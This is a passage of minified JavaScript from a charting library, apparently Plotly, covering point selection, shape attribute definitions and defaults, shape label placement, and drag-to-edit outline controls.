St=re(et._module,Qe,Ee[0],ye[0]);St.scene=De._fullLayout._splomScenes[et.uid],de.push(St)}}else if(et.type==="sankey"){var _t=re(et._module,Qe,Ee[0],ye[0]);de.push(_t)}else{if(Me.indexOf(et.xaxis)===-1||Ie.indexOf(et.yaxis)===-1)continue;de.push(re(et._module,Qe,C(De,et.xaxis),C(De,et.yaxis)))}return de}function re(De,Ee,ye,ae){return{_module:De,cd:Ee,xaxis:ye,yaxis:ae}}function le(De){return De&&Array.isArray(De)&&De[0].hoverOnBox!==!0}function pe(De,Ee){var ye=De[0],ae=-1,de=[],Me,Ie;for(Ie=0;Ie<Ee.length;Ie++)if(Me=Ee[Ie],ye.fullData._expandedIndex===Me.cd[0].trace._expandedIndex){if(ye.hoverOnBox===!0)break;ye.pointNumber!==void 0?ae=ye.pointNumber:ye.binNumber!==void 0&&(ae=ye.binNumber,de=ye.pointNumbers);break}return{pointNumber:ae,pointNumbers:de,searchInfo:Me}}function we(De){var Ee=De.searchInfo.cd[0].trace,ye=De.pointNumber,ae=De.pointNumbers,de=ae.length>0,Me=de?ae[0]:ye;return Ee.selectedpoints?Ee.selectedpoints.indexOf(Me)>-1:!1}function xe(De,Ee){var ye=[],ae,de,Me,Ie;for(Ie=0;Ie<De.length;Ie++)ae=De[Ie],ae.cd[0].trace.selectedpoints&&ae.cd[0].trace.selectedpoints.length>0&&ye.push(ae);if(ye.length===1&&(Me=ye[0]===Ee.searchInfo,Me&&(de=Ee.searchInfo.cd[0].trace,de.selectedpoints.length===Ee.pointNumbers.length))){for(Ie=0;Ie<Ee.pointNumbers.length;Ie++)if(de.selectedpoints.indexOf(Ee.pointNumbers[Ie])<0)return!1;return!0}return!1}function ke(De){var Ee=0,ye,ae,de;for(de=0;de<De.length;de++)if(ye=De[de],ae=ye.cd[0].trace,ae.selectedpoints&&(ae.selectedpoints.length>1||(Ee+=ae.selectedpoints.length,Ee>1)))return!1;return Ee===1}function _e(De,Ee,ye){var ae;for(ae=0;ae<Ee.length;ae++){var de=Ee[ae].cd[0].trace._fullInput,Me=De._fullLayout._tracePreGUI[de.uid]||{};Me.selectedpoints===void 0&&(Me.selectedpoints=de._input.selectedpoints||null)}var Ie;if(ye){var Qe=ye.points||[];for(ae=0;ae<Ee.length;ae++)Ie=Ee[ae].cd[0].trace,Ie._input.selectedpoints=Ie._fullInput.selectedpoints=[],Ie._fullInput!==Ie&&(Ie.selectedpoints=[]);for(var et=0;et<Qe.length;et++){var pt=Qe[et],St=pt.data,_t=pt.fullData,Ft=pt.pointIndex,Tt=pt.pointIndices;Tt?([].push.apply(St.selectedpoints,Tt),Ie._fullInput!==Ie&&[].push.apply(_t.selectedpoints,Tt)):(St.selectedpoints.push(Ft),Ie._fullInput!==Ie&&_t.selectedpoints.push(Ft))}}else for(ae=0;ae<Ee.length;ae++)Ie=Ee[ae].cd[0].trace,delete Ie.selectedpoints,delete Ie._input.selectedpoints,Ie._fullInput!==Ie&&delete Ie._fullInput.selectedpoints;be(De,Ee)}function be(De,Ee){for(var ye=!1,ae=0;ae<Ee.length;ae++){var de=Ee[ae],Me=de.cd;o.traceIs(Me[0].trace,"regl")&&(ye=!0);var Ie=de._module,Qe=Ie.styleOnSelect||Ie.style;Qe&&(Qe(De,Me,Me[0].node3),Me[0].nodeRangePlot3&&Qe(De,Me,Me[0].nodeRangePlot3))}ye&&(x(De),I(De))}function ge(De,Ee,ye){for(var ae=ye?M.difference:M.union,de=ae({regions:De},{regions:[Ee]}),Me=de.regions.reverse(),Ie=0;Ie<Me.length;Ie++){var Qe=Me[Ie];Qe.subtract=st(Qe,Me.slice(0,Ie))}return Me}function Te(De,Ee){if(Array.isArray(De))for(var ye=Ee.cd,ae=Ee.cd[0].trace,de=0;de<De.length;de++)De[de]=g(De[de],ae,ye);return De}function Fe(De,Ee){for(var ye=[],ae=0;ae<De.length;ae++){ye[ae]=[];for(var de=0;de<De[ae].length;de++){ye[ae][de]=[],ye[ae][de][0]=de?"L":"M";for(var Me=0;Me<De[ae][de].length;Me++)ye[ae][de].push(De[ae][de][Me])}Ee||ye[ae].push(["Z",ye[ae][0][1],ye[ae][0][2]])}return ye}function Oe(De,Ee){for(var ye=[],ae,de,Me=0;Me<Ee.length;Me++){var Ie=Ee[Me];de=Ie._module.selectPoints(Ie,De),ae=Te(de,Ie),ye=ye.concat(ae)}return ye}function Ce(De,Ee,ye,ae,de){var Me=!!ae,Ie,Qe,et;de&&(Ie=de.plotinfo,Qe=de.xaxes[0]._id,et=de.yaxes[0]._id);var pt=[],St=[],_t=Ke(De),Ft=De._fullLayout;if(Ie){var Tt=Ft._zoomlayer,Gt=Ft.dragmode,er=a(Gt),Pr=u(Gt);if(er||Pr){var ct=C(De,Qe,"x"),Vt=C(De,et,"y");if(ct&&Vt){var Ut=Tt.selectAll(".select-outline-"+Ie.id);if(Ut&&De._fullLayout._outlining&&Ut.length){for(var dr=Ut[0][0],sr=dr.getAttribute("d"),nt=v(sr,De,Ie),rt=[],vt=0;vt<nt.length;vt++){for(var gt=nt[vt],wt=[],mt=0;mt<gt.length;mt++)wt.push([lt(ct,gt[mt][1]),lt(Vt,gt[mt][2])]);wt.xref=Qe,wt.yref=et,wt.subtract=st(wt,rt),rt.push(wt)}_t=_t.concat(rt)}}}}var Pt=Qe&&et?[Qe+et]:Ft._subplots.cartesian;Be(De);for(var zt={},Xt=0;Xt<Pt.length;Xt++){var Yt=Pt[Xt],$t=Yt.indexOf("y"),yr=Yt.slice(0,$t),Ue=Yt.slice($t),Ne=Qe&&et?ye:void 0;if(Ne=Ze(_t,yr,Ue,Ne),Ne){var Et=ae;if(!Me){var Lt=C(De,yr,"x"),Nt=C(De,Ue,"y");Et=oe(De,[Lt],[Nt],Yt);for(var rr=0;rr<Et.length;rr++){var tr=Et[rr],Jt=tr.cd[0],It=Jt.trace;if(tr._module.name==="scattergl"&&!Jt.t.xpx){var or=It.x,ur=It.y,fr=It._length;Jt.t.xpx=[],Jt.t.ypx=[];for(var lr=0;lr<fr;lr++)Jt.t.xpx[lr]=Lt.c2p(or[lr]),Jt.t.ypx[lr]=Nt.c2p(ur[lr])}tr._module.name==="splom"&&(zt[It.uid]||(zt[It.uid]=!0))}}var Nr=Oe(Ne,Et);pt=pt.concat(Nr),St=St.concat(Et)}}var Rr={points:pt};_e(De,St,Rr);var Cr=Ft.clickmode,vn=Cr.indexOf("event")>-1&&Ee;if(!Ie&&Ee){var Ur=Ke(De,!0);if(Ur.length){var Mn=Ur[0].xref,Sn=Ur[0].yref;if(Mn&&Sn){var nr=ut(Ur),Sr=bt([C(De,Mn,"x"),C(De,Sn,"y")]);Sr(Rr,nr)}}De._fullLayout._noEmitSelectedAtStart?De._fullLayout._noEmitSelectedAtStart=!1:vn&&Le(De,Rr),Ft._reselect=!1}if(!Ie&&Ft._deselect){var Dr=Ft._deselect;Qe=Dr.xref,et=Dr.yref,$e(Qe,et,St)||Xe(De,Qe,et,ae),vn&&(Rr.points.length?Le(De,Rr):Pe(De)),Ft._deselect=!1}return{eventData:Rr,selectionTesters:ye}}function Be(De){var Ee=De.calcdata;if(Ee)for(var ye=0;ye<Ee.length;ye++){var ae=Ee[ye][0],de=ae.trace,Me=De._fullLayout._splomScenes;if(Me){var Ie=Me[de.uid];Ie&&(Ie.selectBatch=[])}}}function $e(De,Ee,ye){for(var ae=0;ae<ye.length;ae++){var de=ye[ae];if(de.xaxis&&de.xaxis._id===De&&de.yaxis&&de.yaxis._id===Ee)return!0}return!1}function Xe(De,Ee,ye,ae){ae=oe(De,[C(De,Ee,"x")],[C(De,ye,"y")],Ee+ye);for(var de=0;de<ae.length;de++){var Me=ae[de];Me._module.selectPoints(Me,!1)}_e(De,ae)}function Ze(De,Ee,ye,ae){for(var de,Me=0;Me<De.length;Me++){var Ie=De[Me];if(!(Ee!==Ie.xref||ye!==Ie.yref))if(de){var Qe=!!Ie.subtract;de=ge(de,Ie,Qe),ae=V(de)}else de=[Ie],ae=F(Ie)}return ae}function Ke(De,Ee){for(var ye=[],ae=De._fullLayout,de=ae.selections,Me=de.length,Ie=0;Ie<Me;Ie++)if(!(Ee&&Ie!==ae._activeSelectionIndex)){var Qe=de[Ie];if(Qe){var et=Qe.xref,pt=Qe.yref,St=C(De,et,"x"),_t=C(De,pt,"y"),Ft,Tt,Gt,er,Pr;if(Qe.type==="rect"){Pr=[];var ct=lt(St,Qe.x0),Vt=lt(St,Qe.x1),Ut=lt(_t,Qe.y0),dr=lt(_t,Qe.y1);Pr=[[ct,Ut],[ct,dr],[Vt,dr],[Vt,Ut]],Ft=Math.min(ct,Vt),Tt=Math.max(ct,Vt),Gt=Math.min(Ut,dr),er=Math.max(Ut,dr),Pr.xmin=Ft,Pr.xmax=Tt,Pr.ymin=Gt,Pr.ymax=er,Pr.xref=et,Pr.yref=pt,Pr.subtract=!1,Pr.isRect=!0,ye.push(Pr)}else if(Qe.type==="path")for(var sr=Qe.path.split("Z"),nt=[],rt=0;rt<sr.length;rt++){var vt=sr[rt];if(vt){vt+="Z";var gt=s.extractPathCoords(vt,y.paramIsX,"raw"),wt=s.extractPathCoords(vt,y.paramIsY,"raw");Ft=1/0,Tt=-1/0,Gt=1/0,er=-1/0,Pr=[];for(var mt=0;mt<gt.length;mt++){var Pt=lt(St,gt[mt]),zt=lt(_t,wt[mt]);Pr.push([Pt,zt]),Ft=Math.min(Pt,Ft),Tt=Math.max(Pt,Tt),Gt=Math.min(zt,Gt),er=Math.max(zt,er)}Pr.xmin=Ft,Pr.xmax=Tt,Pr.ymin=Gt,Pr.ymax=er,Pr.xref=et,Pr.yref=pt,Pr.subtract=st(Pr,nt),nt.push(Pr),ye.push(Pr)}}}}return ye}function st(De,Ee){for(var ye=!1,ae=0;ae<Ee.length;ae++)for(var de=Ee[ae],Me=0;Me<De.length;Me++)if(P(De[Me],de)){ye=!ye;break}return ye}function lt(De,Ee){return De.type==="date"&&(Ee=Ee.replace("_"," ")),De.type==="log"?De.c2p(Ee):De.r2p(Ee,null,De.calendar)}function ut(De){for(var Ee=De.length,ye=[],ae=0;ae<Ee;ae++){var de=De[ae];ye=ye.concat(de),ye=ye.concat([de[0]])}return yt(ye)}function yt(De){return De.isRect=De.length===5&&De[0][0]===De[4][0]&&De[0][1]===De[4][1]&&De[0][0]===De[1][0]&&De[2][0]===De[3][0]&&De[0][1]===De[3][1]&&De[1][1]===De[2][1]||De[0][1]===De[1][1]&&De[2][1]===De[3][1]&&De[0][0]===De[3][0]&&De[1][0]===De[2][0],De.isRect&&(De.xmin=Math.min(De[0][0],De[2][0]),De.xmax=Math.max(De[0][0],De[2][0]),De.ymin=Math.min(De[0][1],De[2][1]),De.ymax=Math.max(De[0][1],De[2][1])),De}function bt(De){return function(Ee,ye){for(var ae,de,Me=0;Me<De.length;Me++){var Ie=De[Me],Qe=Ie._id,et=Qe.charAt(0);if(ye.isRect){ae||(ae={});var pt=ye[et+"min"],St=ye[et+"max"];pt!==void 0&&St!==void 0&&(ae[Qe]=[z(Ie,pt),z(Ie,St)].sort(A))}else de||(de={}),de[Qe]=ye.map(N(Ie))}ae&&(Ee.range=ae),de&&(Ee.lassoPoints=de)}}function Ot(De){var Ee=De.plotinfo;return Ee.fillRangeItems||bt(De.xaxes.concat(De.yaxes))}function Ge(De,Ee){De.emit("plotly_selecting",Ee)}function Le(De,Ee){Ee&&(Ee.selections=(De.layout||{}).selections||[]),De.emit("plotly_selected",Ee)}function Pe(De){De.emit("plotly_deselect",null)}te.exports={reselect:Ce,prepSelect:q,clearOutline:b,clearSelectionsCache:j,selectOnClick:ne}},89827:function(te,Z,e){var M=e(50215),P=e(41940),o=e(82196).line,L=e(79952).P,S=e(1426).extendFlat,d=e(44467).templatedArray;e(24695);var g=e(9012),t=e(5386).R,r=e(37281);te.exports=d("shape",{visible:S({},g.visible,{editType:"calc+arraydraw"}),showlegend:{valType:"boolean",dflt:!1,editType:"calc+arraydraw"},legend:S({},g.legend,{editType:"calc+arraydraw"}),legendgroup:S({},g.legendgroup,{editType:"calc+arraydraw"}),legendgrouptitle:{text:S({},g.legendgrouptitle.text,{editType:"calc+arraydraw"}),font:P({editType:"calc+arraydraw"}),editType:"calc+arraydraw"},legendrank:S({},g.legendrank,{editType:"calc+arraydraw"}),legendwidth:S({},g.legendwidth,{editType:"calc+arraydraw"}),type:{valType:"enumerated",values:["circle","rect","path","line"],editType:"calc+arraydraw"},layer:{valType:"enumerated",values:["below","above"],dflt:"above",editType:"arraydraw"},xref:S({},M.xref,{}),xsizemode:{valType:"enumerated",values:["scaled","pixel"],dflt:"scaled",editType:"calc+arraydraw"},xanchor:{valType:"any",editType:"calc+arraydraw"},x0:{valType:"any",editType:"calc+arraydraw"},x1:{valType:"any",editType:"calc+arraydraw"},yref:S({},M.yref,{}),ysizemode:{valType:"enumerated",values:["scaled","pixel"],dflt:"scaled",editType:"calc+arraydraw"},yanchor:{valType:"any",editType:"calc+arraydraw"},y0:{valType:"any",editType:"calc+arraydraw"},y1:{valType:"any",editType:"calc+arraydraw"},path:{valType:"string",editType:"calc+arraydraw"},opacity:{valType:"number",min:0,max:1,dflt:1,editType:"arraydraw"},line:{color:S({},o.color,{editType:"arraydraw"}),width:S({},o.width,{editType:"calc+arraydraw"}),dash:S({},L,{editType:"arraydraw"}),editType:"calc+arraydraw"},fillcolor:{valType:"color",dflt:"rgba(0,0,0,0)",editType:"arraydraw"},fillrule:{valType:"enumerated",values:["evenodd","nonzero"],dflt:"evenodd",editType:"arraydraw"},editable:{valType:"boolean",dflt:!1,editType:"calc+arraydraw"},label:{text:{valType:"string",dflt:"",editType:"arraydraw"},texttemplate:t({},{keys:Object.keys(r)}),font:P({editType:"calc+arraydraw",colorEditType:"arraydraw"}),textposition:{valType:"enumerated",values:["top left","top center","top right","middle left","middle center","middle right","bottom left","bottom center","bottom right","start","middle","end"],editType:"arraydraw"},textangle:{valType:"angle",dflt:"auto",editType:"calc+arraydraw"},xanchor:{valType:"enumerated",values:["auto","left","center","right"],dflt:"auto",editType:"calc+arraydraw"},yanchor:{valType:"enumerated",values:["top","middle","bottom"],editType:"calc+arraydraw"},padding:{valType:"number",dflt:3,min:0,editType:"arraydraw"},editType:"arraydraw"},editType:"arraydraw"})},5627:function(te,Z,e){var M=e(71828),P=e(89298),o=e(21459),L=e(30477);te.exports=function(f){var a=f._fullLayout,l=M.filterVisible(a.shapes);if(!(!l.length||!f._fullData.length))for(var u=0;u<l.length;u++){var s=l[u];s._extremes={};var y,c,b=P.getRefType(s.xref),h=P.getRefType(s.yref);if(s.xref!=="paper"&&b!=="domain"){var i=s.xsizemode==="pixel"?s.xanchor:s.x0,v=s.xsizemode==="pixel"?s.xanchor:s.x1;y=P.getFromId(f,s.xref),c=t(y,i,v,s.path,o.paramIsX),c&&(s._extremes[y._id]=P.findExtremes(y,c,S(s)))}if(s.yref!=="paper"&&h!=="domain"){var T=s.ysizemode==="pixel"?s.yanchor:s.y0,w=s.ysizemode==="pixel"?s.yanchor:s.y1;y=P.getFromId(f,s.yref),c=t(y,T,w,s.path,o.paramIsY),c&&(s._extremes[y._id]=P.findExtremes(y,c,d(s)))}}};function S(r){return g(r.line.width,r.xsizemode,r.x0,r.x1,r.path,!1)}function d(r){return g(r.line.width,r.ysizemode,r.y0,r.y1,r.path,!0)}function g(r,f,a,l,u,s){var y=r/2,c=s;if(f==="pixel"){var b=u?L.extractPathCoords(u,s?o.paramIsY:o.paramIsX):[a,l],h=M.aggNums(Math.max,null,b),i=M.aggNums(Math.min,null,b),v=i<0?Math.abs(i)+y:y,T=h>0?h+y:y;return{ppad:y,ppadplus:c?v:T,ppadminus:c?T:v}}else return{ppad:y}}function t(r,f,a,l,u){var s=r.type==="category"||r.type==="multicategory"?r.r2c:r.d2c;if(f!==void 0)return[s(f),s(a)];if(l){var y=1/0,c=-1/0,b=l.match(o.segmentRE),h,i,v,T,w;for(r.type==="date"&&(s=L.decodeDate(s)),h=0;h<b.length;h++)i=b[h],v=u[i.charAt(0)].drawn,v!==void 0&&(T=b[h].substr(1).match(o.paramRE),!(!T||T.length<v)&&(w=s(T[v]),w<y&&(y=w),w>c&&(c=w)));if(c>=y)return[y,c]}}},21459:function(te){te.exports={segmentRE:/[MLHVQCTSZ][^MLHVQCTSZ]*/g,paramRE:/[^\s,]+/g,paramIsX:{M:{0:!0,drawn:0},L:{0:!0,drawn:0},H:{0:!0,drawn:0},V:{},Q:{0:!0,2:!0,drawn:2},C:{0:!0,2:!0,4:!0,drawn:4},T:{0:!0,drawn:0},S:{0:!0,2:!0,drawn:2},Z:{}},paramIsY:{M:{1:!0,drawn:1},L:{1:!0,drawn:1},H:{},V:{0:!0,drawn:0},Q:{1:!0,3:!0,drawn:3},C:{1:!0,3:!0,5:!0,drawn:5},T:{1:!0,drawn:1},S:{1:!0,3:!0,drawn:5},Z:{}},numParams:{M:2,L:2,H:1,V:1,Q:4,C:6,T:2,S:4,Z:0}}},84726:function(te,Z,e){var M=e(71828),P=e(89298),o=e(85501),L=e(89827),S=e(30477);te.exports=function(r,f){o(r,f,{name:"shapes",handleItemDefaults:g})};function d(t,r){return t?"bottom":r.indexOf("top")!==-1?"top":r.indexOf("bottom")!==-1?"bottom":"middle"}function g(t,r,f){function a(X,W){return M.coerce(t,r,L,X,W)}r._isShape=!0;var l=a("visible");if(l){var u=a("showlegend");u&&(a("legend"),a("legendwidth"),a("legendgroup"),a("legendgrouptitle.text"),M.coerceFont(a,"legendgrouptitle.font"),a("legendrank"));var s=a("path"),y=s?"path":"rect",c=a("type",y),b=c!=="path";b&&delete r.path,a("editable"),a("layer"),a("opacity"),a("fillcolor"),a("fillrule");var h=a("line.width");h&&(a("line.color"),a("line.dash"));for(var i=a("xsizemode"),v=a("ysizemode"),T=["x","y"],w=0;w<2;w++){var E=T[w],p=E+"anchor",A=E==="x"?i:v,m={_fullLayout:f},n,C,x,I=P.coerceRef(t,r,m,E,void 0,"paper"),k=P.getRefType(I);if(k==="range"?(n=P.getFromId(m,I),n._shapeIndices.push(r._index),x=S.rangeToShapePosition(n),C=S.shapePositionToRange(n)):C=x=M.identity,b){var B=.25,_=.75,F=E+"0",O=E+"1",z=t[F],N=t[O];t[F]=C(t[F],!0),t[O]=C(t[O],!0),A==="pixel"?(a(F,0),a(O,10)):(P.coercePosition(r,m,a,I,F,B),P.coercePosition(r,m,a,I,O,_)),r[F]=x(r[F]),r[O]=x(r[O]),t[F]=z,t[O]=N}if(A==="pixel"){var G=t[p];t[p]=C(t[p],!0),P.coercePosition(r,m,a,I,p,.25),r[p]=x(r[p]),t[p]=G}}b&&M.noneOrAll(t,r,["x0","x1","y0","y1"]);var J=c==="line",q,ne;if(b&&(q=a("label.texttemplate")),q||(ne=a("label.text")),ne||q){a("label.textangle");var fe=a("label.textposition",J?"middle":"middle center");a("label.xanchor"),a("label.yanchor",d(J,fe)),a("label.padding"),M.coerceFont(a,"label.font",f.font)}}}},48100:function(te,Z,e){var M=e(71828),P=e(89298),o=e(63893),L=e(91424),S=e(60165).readPaths,d=e(30477),g=d.getPathString,t=e(37281),r=e(18783).FROM_TL;te.exports=function(u,s,y,c){if(c.selectAll(".shape-label").remove(),!!(y.label.text||y.label.texttemplate)){var b;if(y.label.texttemplate){var h={};if(y.type!=="path"){var i=P.getFromId(u,y.xref),v=P.getFromId(u,y.yref);for(var T in t){var w=t[T](y,i,v);w!==void 0&&(h[T]=w)}}b=M.texttemplateStringForShapes(y.label.texttemplate,{},u._fullLayout._d3locale,h)}else b=y.label.text;var E={"data-index":s},p=y.label.font,A={"data-notex":1},m=c.append("g").attr(E).classed("shape-label",!0),n=m.append("text").attr(A).classed("shape-label-text",!0).text(b),C,x,I,k;if(y.path){var B=g(u,y),_=S(B,u);C=1/0,I=1/0,x=-1/0,k=-1/0;for(var F=0;F<_.length;F++)for(var O=0;O<_[F].length;O++)for(var z=_[F][O],N=1;N<z.length;N+=2){var G=z[N],J=z[N+1];C=Math.min(C,G),x=Math.max(x,G),I=Math.min(I,J),k=Math.max(k,J)}}else{var q=P.getFromId(u,y.xref),ne=P.getRefType(y.xref),fe=P.getFromId(u,y.yref),X=P.getRefType(y.yref),W=d.getDataToPixel(u,q,!1,ne),V=d.getDataToPixel(u,fe,!0,X);C=W(y.x0),x=W(y.x1),I=V(y.y0),k=V(y.y1)}var Y=y.label.textangle;Y==="auto"&&(y.type==="line"?Y=f(C,I,x,k):Y=0),n.call(function(re){return re.call(L.font,p).attr({}),o.convertToTspans(re,u),re});var Q=L.bBox(n.node()),ie=a(C,I,x,k,y,Y,Q),j=ie.textx,K=ie.texty,oe=ie.xanchor;n.attr({"text-anchor":{left:"start",center:"middle",right:"end"}[oe],y:K,x:j,transform:"rotate("+Y+","+j+","+K+")"}).call(o.positionText,j,K)}};function f(l,u,s,y){var c,b;return b=Math.abs(s-l),s>=l?c=u-y:c=y-u,-180/Math.PI*Math.atan2(c,b)}function a(l,u,s,y,c,b,h){var i=c.label.textposition,v=c.label.textangle,T=c.label.padding,w=c.type,E=Math.PI/180*b,p=Math.sin(E),A=Math.cos(E),m=c.label.xanchor,n=c.label.yanchor,C,x,I,k;if(w==="line"){i==="start"?(C=l,x=u):i==="end"?(C=s,x=y):(C=(l+s)/2,x=(u+y)/2),m==="auto"&&(i==="start"?v==="auto"?s>l?m="left":s<l?m="right":m="center":s>l?m="right":s<l?m="left":m="center":i==="end"?v==="auto"?s>l?m="right":s<l?m="left":m="center":s>l?m="left":s<l?m="right":m="center":m="center");var B={left:1,center:0,right:-1},_={bottom:-1,middle:0,top:1};if(v==="auto"){var F=_[n];I=-T*p*F,k=T*A*F}else{var O=B[m],z=_[n];I=T*O,k=T*z}C=C+I,x=x+k}else I=T+3,i.indexOf("right")!==-1?(C=Math.max(l,s)-I,m==="auto"&&(m="right")):i.indexOf("left")!==-1?(C=Math.min(l,s)+I,m==="auto"&&(m="left")):(C=(l+s)/2,m==="auto"&&(m="center")),i.indexOf("top")!==-1?x=Math.min(u,y):i.indexOf("bottom")!==-1?x=Math.max(u,y):x=(u+y)/2,k=T,n==="bottom"?x=x-k:n==="top"&&(x=x+k);var N=r[n],G=c.label.font.size,J=h.height,q=(J*N-G)*p,ne=-(J*N-G)*A;return{textx:C+q,texty:x+ne,xanchor:m}}},42359:function(te,Z,e){var M=e(71828),P=M.strTranslate,o=e(28569),L=e(64505),S=L.drawMode,d=L.selectMode,g=e(73972),t=e(7901),r=e(89995),f=r.i000,a=r.i090,l=r.i180,u=r.i270,s=e(51873),y=s.clearOutlineControllers,c=e(60165),b=c.pointsOnRectangle,h=c.pointsOnEllipse,i=c.writePaths,v=e(90551).newShapes,T=e(90551).createShapeObj,w=e(35855),E=e(48100);te.exports=function n(C,x,I,k){k||(k=0);var B=I.gd;function _(){n(C,x,I,k++),(h(C[0])||I.hasText)&&F({redrawing:!0})}function F(ge){var Te={};I.isActiveShape!==void 0&&(I.isActiveShape=!1,Te=v(x,I)),I.isActiveSelection!==void 0&&(I.isActiveSelection=!1,Te=w(x,I),B._fullLayout._reselect=!0),Object.keys(Te).length&&g.call((ge||{}).redrawing?"relayout":"_guiRelayout",B,Te)}var O=B._fullLayout,z=O._zoomlayer,N=I.dragmode,G=S(N),J=d(N);(G||J)&&(B._fullLayout._outlining=!0),y(B),x.attr("d",i(C));var q,ne,fe,X,W;if(!k&&(I.isActiveShape||I.isActiveSelection)){W=p([],C);var V=z.append("g").attr("class","outline-controllers");le(V),be()}if(G&&I.hasText){var Y=z.select(".label-temp"),Q=T(x,I,I.dragmode);E(B,"label-temp",Q,Y)}function ie(ge){fe=+ge.srcElement.getAttribute("data-i"),X=+ge.srcElement.getAttribute("data-j"),q[fe][X].moveFn=j}function j(ge,Te){if(C.length){var Fe=W[fe][X][1],Oe=W[fe][X][2],Ce=C[fe],Be=Ce.length;if(b(Ce)){var $e=ge,Xe=Te;if(I.isActiveSelection){var Ze=A(Ce,X);Ze[1]===Ce[X][1]?Xe=0:$e=0}for(var Ke=0;Ke<Be;Ke++)if(Ke!==X){var st=Ce[Ke];st[1]===Ce[X][1]&&(st[1]=Fe+$e),st[2]===Ce[X][2]&&(st[2]=Oe+Xe)}if(Ce[X][1]=Fe+$e,Ce[X][2]=Oe+Xe,!b(Ce))for(var lt=0;lt<Be;lt++)for(var ut=0;ut<Ce[lt].length;ut++)Ce[lt][ut]=W[fe][lt][ut]}else Ce[X][1]=Fe+ge,Ce[X][2]=Oe+Te;_()}}function K(){F()}function oe(){if(C.length&&C[fe]&&C[fe].length){for(var ge=[],Te=0;Te<C[fe].length;Te++)Te!==X&&ge.push(C[fe][Te]);ge.length>1&&!(ge.length===2&&ge[1][0]==="Z")&&(X===0&&(ge[0][0]="M"),C[fe]=ge,_(),F())}}function re(ge,Te){if(ge===2){fe=+Te.srcElement.getAttribute("data-i"),X=+Te.srcElement.getAttribute("data-j");var Fe=C[fe];!b(Fe)&&!h(Fe)&&oe()}}function le(ge){q=[];for(var Te=0;Te<C.length;Te++){var Fe=C[Te],Oe=b(Fe),Ce=!Oe&&h(Fe);q[Te]=[];for(var Be=Fe.length,$e=0;$e<Be;$e++)if(Fe[$e][0]!=="Z"&&!(Ce&&$e!==f&&$e!==a&&$e!==l&&$e!==u)){var Xe=Oe&&I.isActiveSelection,Ze;Xe&&(Ze=A(Fe,$e));var Ke=Fe[$e][1],st=Fe[$e][2],lt=ge.append(Xe?"rect":"circle").attr("data-i",Te).attr("data-j",$e).style({fill:t.background,stroke:t.defaultLine,"stroke-width":1,"shape-rendering":"crispEdges"});if(Xe){var ut=Ze[1]-Ke,yt=Ze[2]-st,bt=yt?5:Math.max(Math.min(25,Math.abs(ut)-5),5),Ot=ut?5:Math.max(Math.min(25,Math.abs(yt)-5),5);lt.classed(yt?"cursor-ew-resize":"cursor-ns-resize",!0).attr("width",bt).attr("height",Ot).attr("x",Ke-bt/2).attr("y",st-Ot/2).attr("transform",P(ut/2,yt/2))}else lt.classed("cursor-grab",!0).attr("r",5).attr("cx",Ke).attr("cy",st);q[Te][$e]={element:lt.node(),gd:B,prepFn:ie,doneFn:K,clickFn:re},o.init(q[Te][$e])}}}function pe(ge,Te){if(C.length)for(var Fe=0;Fe<C.length;Fe++)for(var Oe=0;Oe<C[Fe].length;Oe++)for(var Ce=0;Ce+2<C[Fe][Oe].length;Ce+=2)C[Fe][Oe][Ce+1]=W[Fe][Oe][Ce+1]+ge,C[Fe][Oe][Ce+2]=W[Fe][Oe][Ce+2]+Te}function we(ge,Te){pe(ge,Te),_()}function xe(ge){fe=+ge.srcElement.getAttribute("data-i"),fe||(fe=0),ne[fe].moveFn=we}function ke(){F()}function _e(ge){ge===2&&m(B)}function be(){if(ne=[],!!C.length){var ge=0;ne[ge]={element:x[0][0],gd:B,prepFn:xe,doneFn:ke,clickFn:_e},o.init(ne[ge])}}};function p(n,C){for(var x=0;x<C.length;x++){var I=C[x];n[x]=[];for(var k=0;k<I.length;k++){n[x][k]=[];for(var B=0;B<I[k].length;B++)n[x][k][B]=I[k][B]}}return n}function A(n,C){var x=n[C][1],I=n[C][2],k=n.length,B,_,F;return B=(C+1)%k,_=n[B][1],F=n[B][2],_===x&&F===I&&(B=(C+2)%k,_=n[B][1],F=n[B][2]),[B,_,F]}function m(n){if(d(n._fullLayout.dragmode)){y(n);var C=n._fullLayout._activeSelectionIndex,x=(n.layout||{}).selections||[];if(C<x.length){for(var I=[],k=0;k<x.length;k++)k!==C&&I.push(x[k]);delete n._fullLayout._activeSelectionIndex;var B=n._fullLayout.selections[C];n._fullLayout._deselect={xref:B.xref,yref:B.yref},g.call("_guiRelayout",n,{selections:I})}}}},34031:function(te,Z,e){var M=e(39898),P=e(73972),o=e(71828),L=e(89298),S=e(60165).readPaths,d=e(42359),g=e(48100),t=e(51873).clearOutlineControllers,r=e(7901),f=e(91424),a=e(44467).arrayEditor,l=e(28569),u=e(6964),s=e(21459),y=e(30477),c=y.getPathString;te.exports={draw:b,drawOne:v,eraseActiveShape:m,drawLabel:g};function b(n){var C=n._fullLayout;C._shapeUpperLayer.selectAll("path").remove(),C._shapeLowerLayer.selectAll("path").remove(),C._shapeUpperLayer.selectAll("text").remove(),C._shapeLowerLayer.selectAll("text").remove();for(var x in C._plots){var I=C._plots[x].shapelayer;I&&(I.selectAll("path").remove(),I.selectAll("text").remove())}for(var k=0;k<C.shapes.length;k++)C.shapes[k].visible===!0&&v(n,k)}function h(n){return!!n._fullLayout._outlining}function i(n){return!n._context.edits.shapePosition}function v(n,C){n._fullLayout._paperdiv.selectAll('.shapelayer [data-index="'+C+'"]').remove();var x=y.makeShapesOptionsAndPlotinfo(n,C),I=x.options,k=x.plotinfo;if(!I._input||I.visible!==!0)return;if(I.layer!=="below")_(n._fullLayout._shapeUpperLayer);else if(I.xref==="paper"||I.yref==="paper")_(n._fullLayout._shapeLowerLayer);else if(k._hadPlotinfo){var B=k.mainplotinfo||k;_(B.shapelayer)}else _(n._fullLayout._shapeLowerLayer);function _(F){var O=c(n,I),z={"data-index":C,"fill-rule":I.fillrule,d:O},N=I.opacity,G=I.fillcolor,J=I.line.width?I.line.color:"rgba(0,0,0,0)",q=I.line.width,ne=I.line.dash;!q&&I.editable===!0&&(q=5,ne="solid");var fe=O[O.length-1]!=="Z",X=i(n)&&I.editable&&n._fullLayout._activeShapeIndex===C;X&&(G=fe?"rgba(0,0,0,0)":n._fullLayout.activeshape.fillcolor,N=n._fullLayout.activeshape.opacity);var W=F.append("g").classed("shape-group",!0).attr({"data-index":C}),V=W.append("path").attr(z).style("opacity",N).call(r.stroke,J).call(r.fill,G).call(f.dashLine,ne,q);T(W,n,I),g(n,C,I,W);var 